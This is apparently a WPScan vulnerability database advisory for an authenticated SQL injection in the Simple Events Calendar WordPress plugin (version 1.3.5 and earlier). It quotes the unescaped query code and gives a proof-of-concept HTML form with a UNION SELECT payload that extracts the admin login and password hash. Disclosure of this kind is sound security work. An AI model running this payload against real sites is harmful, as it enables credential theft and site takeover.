Simple Events Calendar <= 1.3.5 - Authenticated SQL Injection



Description
Type user access: administrator user.
$_POST[‘event_id’] is not escaped.

File / Code:

Path Request: /wp-content/plugins/simple-events-calendar/simple-events-calendar.php

Line :  467

$edit_event = $_POST['event_id'];
$update     = $wpdb->get_results( " SELECT * FROM $table_name WHERE id = $edit_event ", "ARRAY_A" );
Proof of Concept
<form method="post" action="http://src.wordpress-develop.dev/wp-admin/admin.php?page=simple-events">
   <input type="text" name="edit" value="1">
   <input type="text" name="event_id"
         value="0 UNION SELECT 1,2,3,CONCAT(user_login,char(58),user_pass) COLLATE utf8mb4_general_ci as user_login,5,6,7,8,9 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>

Affects Plugin

References

URL http://lenonleite.com.br/en/blog/2017/11/03/simple-events-calendar-1-3-5-wordpress-plugin-sql-injection/

Classification

Type SQLI
OWASP Top 10 A1: Injection
CWE CWE-89

Miscellaneous

Submitter Lenon Leite
Submitter Website http://lenonleite.com.br/
Submitter Twitter lenonleite
Views 4887
Verified No
WPVDB ID 8955

Timeline

Publicly Published 2017-11-03 (almost 2 years ago)
Added 2017-11-12 (almost 2 years ago)
Last Updated 2017-11-12 (almost 2 years ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin